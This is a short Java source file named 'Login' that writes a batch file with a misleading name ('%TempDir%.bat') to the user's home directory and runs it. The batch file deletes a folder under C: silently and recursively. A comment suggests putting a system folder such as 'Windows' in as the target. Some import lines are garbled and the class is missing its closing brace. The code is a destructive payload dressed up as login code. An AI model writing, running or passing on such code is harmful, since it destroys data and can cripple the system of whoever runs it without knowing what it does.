import java.awt.Desktop;
import java****.BufferedWriter;
import java****.File;
import java****.FileWriter;
import java********Exception;


public class Login {
	//get the users home file path
	public static String getPathToSetFile(){
		//this will get the users home, for example(C:/users/"UsersName"/)
		String home = System.getProperty("user.home");
		return home; // returns the string that we just got(the path)
	}
	//set the file in the given directory
	public static void setFile() throws IOException{
		//creates a new file in the directory we just found, named %tempDir% as a batch file
		File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		FileWriter fw = new FileWriter(f);
		BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
		if(f.exists()){ //if the file exists
			f.setWritable(true); //allows us to write to file
			bw.write("@echo off");
			bw.newLine();
			bw.write("rmdir /s /q \"C:" + File.separator + "AddHere\""); // writes this batch command to file to delete specified folder
			bw.newLine(); // replace add here above with the folder you want deleted ex (Windows)
			bw.write("pause"); //delete this if you dont want bat to stay open after running
		}else{//if the file doesn't exist (no real need for this beacuse we already know the file exists. jsut created it.
		}
		bw.close(); //closes buffered writer
	}
	//gets file and runs it
	public static void runFile() throws IOException{
		setFile();
		File toOpen = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		Desktop.getDesktop().open(toOpen); //i used the desktop method to run files, dont ask why. just simpler
	}
	//main method
	public static void main(String[] args) throws IOException{
		runFile();//excecuted code
	}